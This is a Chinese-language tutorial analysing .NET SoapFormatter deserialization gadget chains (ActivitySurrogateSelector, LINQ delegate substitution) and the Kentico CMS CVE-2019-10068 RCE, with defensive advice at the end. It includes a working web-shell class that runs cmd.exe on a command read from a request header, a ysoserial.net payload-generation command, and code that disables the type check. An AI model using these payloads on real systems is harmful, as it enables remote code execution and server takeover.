.net反序列化之SoapFormatter
字数 1488 2025-08-05 08:17:36

.NET反序列化漏洞之SoapFormatter深入解析与利用

1. SoapFormatter基础

SoapFormatter是.NET框架中用于生成基于XML的SOAP数据流的序列化器,位于System.Runtime.Serialization.Formatters.Soap命名空间。

基本使用示例

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SoapDeserialization
{
    [Serializable]
    class Person
    {
        private int age;
        private string name;
        
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            
            using (MemoryStream stream = new MemoryStream())
            {
                soapFormatter.Serialize(stream, person);
                string soap = Encoding.UTF8.GetString(stream.ToArray());
                Console.WriteLine(soap);
                
                stream.Position = 0;
                Person p = (Person)soapFormatter.Deserialize(stream);
                Console.WriteLine(p.Name);
                p.SayHello();
            }
            Console.ReadKey();
        }
    }
}

输出结果:

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
                   xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
                   xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" 
                   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 
                   xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" 
                   SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/SoapDeserialization%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull">
      <age>10</age>
      <name id="ref-3">jack</name>
    </a1:Person>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

2. SoapFormatter攻击链分析

2.1 ActivitySurrogateSelector攻击链

ActivitySurrogateSelector攻击链利用了.NET中的代理选择器机制,使得原本不能被序列化的类可以被序列化和反序列化。

基本代理选择器示例

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;

namespace SoapDeserialization
{
    class Person
    {
        public string Name { get; set; }
        public Person(string name) { Name = name; }
        public override string ToString() { return Name; }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {
        public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;
        }
    }

    class Program
    {
        public static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            
            SoapFormatter fmt = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            fmt.SurrogateSelector = ss;
            
            fmt.Serialize(stm, new Person("jack"));
            stm.Position = 0;
            Console.WriteLine(fmt.Deserialize(stm));
            
            stm.Position = 0;
            var fmt2 = new SoapFormatter();
            Console.WriteLine(fmt2.Deserialize(stm));
            
            Console.ReadKey();
        }
    }
}

高级利用:ActivitySurrogateSelector+ObjectSurrogate

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;

namespace SoapDeserialization
{
    class NonSerializable
    {
        private string _text;
        public NonSerializable(string text) { _text = text; }
        public override string ToString() { return _text; }
    }

    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        public static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            
            SoapFormatter fmt = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            
            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(stm, new NonSerializable("Hello World!"));
            
            stm.Position = 0;
            var fmt2 = new SoapFormatter();
            Console.WriteLine(fmt2.Deserialize(stm));
            
            Console.ReadKey();
        }
    }
}

2.2 LINQ与委托替换攻击

攻击者通过替换LINQ中的委托来加载恶意程序集并创建实例,触发LINQ执行恶意代码。

攻击链构造步骤:

  1. 通过Assembly.Load加载恶意DLL
  2. 使用Select()方法将IEnumerable<byte[]>转换为IEnumerable<Assembly>
  3. 使用Delegate.CreateDelegate创建Func<Assembly, IEnumerable<Type>>委托
  4. 使用SelectMany()获取Assembly.GetTypes()
  5. 使用Select(Activator.CreateInstance)创建实例

触发ToString()的调用链:

IEnumerable -> PagedDataSource -> ICollection -> AggregateDictionary -> IDictionary -> DesignerVerb -> ToString

利用Hashtable触发异常:

ht = new Hashtable();
ht.Add(verb, "");
ht.Add("", "");

FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);

for (int i = 0; i < keys.Length; ++i)
{
    object bucket = keys.GetValue(i);
    object key = fi_key.GetValue(bucket);
    if (key is string)
    {
        fi_key.SetValue(bucket, verb);
        keys.SetValue(bucket, i);
        break;
    }
}

fi_keys.SetValue(ht, keys);
ls.Add(ht);

2.3 ActivitySurrogateSelectorFromFile攻击链

此攻击链允许执行自定义编写的程序集,通过接收参数并动态编译读取字节码存入自身assemblyBytes字段。

2.4 ActivitySurrogateDisableTypeCheck攻击链

在.NET 4.8中,微软修复了对ActivitySurrogateSelector类的滥用,但可以通过TextFormattingRunProperties关闭类型检查:

System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

3. Kentico CMS SOAP反序列化RCE分析(CVE-2019-10068)

漏洞描述

Kentico在12.0.15之前的版本中,由于未能验证安全头,攻击者可以构造特制的请求绕过初始身份验证,进而反序列化用户控制的.NET对象输入,导致在服务器上执行未授权的远程代码。

漏洞利用

  1. 使用ActivitySurrogateSelectorFromFile链生成SOAP格式的payload
  2. 自定义加载的程序集,例如执行命令的代码:
class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        }
        catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}
  1. 使用ysoserial.net生成payload:
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "dlls\E.cs;System.Web.dll;System.dll"
  1. 将生成的SOAP payload进行HTML编码后发送

4. 防御措施

  1. 及时更新Kentico CMS到最新版本
  2. 禁用不必要的SOAP端点
  3. 实施严格的输入验证
  4. 使用安全的序列化替代方案,如JSON序列化
  5. 配置应用程序以使用更严格的序列化绑定器
  6. 实施网络层面的防护,如WAF规则检测异常的SOAP请求

5. 总结

SoapFormatter反序列化漏洞利用.NET框架中的多个机制:

  • 代理选择器(ISerializationSurrogate)
  • LINQ延迟执行特性
  • 类型系统绕过
  • 异常处理流程

通过精心构造的SOAP payload,攻击者可以在目标系统上实现远程代码执行。理解这些攻击链的工作原理对于开发安全的.NET应用程序和有效防御此类攻击至关重要。

.NET反序列化漏洞之SoapFormatter深入解析与利用 1. SoapFormatter基础 SoapFormatter是.NET框架中用于生成基于XML的SOAP数据流的序列化器,位于 System.Runtime.Serialization.Formatters.Soap 命名空间。 基本使用示例 输出结果: 2. SoapFormatter攻击链分析 2.1 ActivitySurrogateSelector攻击链 ActivitySurrogateSelector 攻击链利用了.NET中的代理选择器机制,使得原本不能被序列化的类可以被序列化和反序列化。 基本代理选择器示例 高级利用:ActivitySurrogateSelector+ObjectSurrogate 2.2 LINQ与委托替换攻击 攻击者通过替换LINQ中的委托来加载恶意程序集并创建实例,触发LINQ执行恶意代码。 攻击链构造步骤: 通过 Assembly.Load 加载恶意DLL 使用 Select() 方法将 IEnumerable<byte[]> 转换为 IEnumerable<Assembly> 使用 Delegate.CreateDelegate 创建 Func<Assembly, IEnumerable<Type>> 委托 使用 SelectMany() 获取 Assembly.GetTypes() 使用 Select(Activator.CreateInstance) 创建实例 触发ToString()的调用链: 利用Hashtable触发异常: 2.3 ActivitySurrogateSelectorFromFile攻击链 此攻击链允许执行自定义编写的程序集,通过接收参数并动态编译读取字节码存入自身assemblyBytes字段。 2.4 ActivitySurrogateDisableTypeCheck攻击链 在.NET 4.8中,微软修复了对 ActivitySurrogateSelector 类的滥用,但可以通过 TextFormattingRunProperties 关闭类型检查: 3. Kentico CMS SOAP反序列化RCE分析(CVE-2019-10068) 漏洞描述 Kentico在12.0.15之前的版本中,由于未能验证安全头,攻击者可以构造特制的请求绕过初始身份验证,进而反序列化用户控制的.NET对象输入,导致在服务器上执行未授权的远程代码。 漏洞利用 使用 ActivitySurrogateSelectorFromFile 链生成SOAP格式的payload 自定义加载的程序集,例如执行命令的代码: 使用ysoserial.net生成payload: 将生成的SOAP payload进行HTML编码后发送 4. 防御措施 及时更新Kentico CMS到最新版本 禁用不必要的SOAP端点 实施严格的输入验证 使用安全的序列化替代方案,如JSON序列化 配置应用程序以使用更严格的序列化绑定器 实施网络层面的防护,如WAF规则检测异常的SOAP请求 5. 总结 SoapFormatter反序列化漏洞利用.NET框架中的多个机制: 代理选择器(ISerializationSurrogate) LINQ延迟执行特性 类型系统绕过 异常处理流程 通过精心构造的SOAP payload,攻击者可以在目标系统上实现远程代码执行。理解这些攻击链的工作原理对于开发安全的.NET应用程序和有效防御此类攻击至关重要。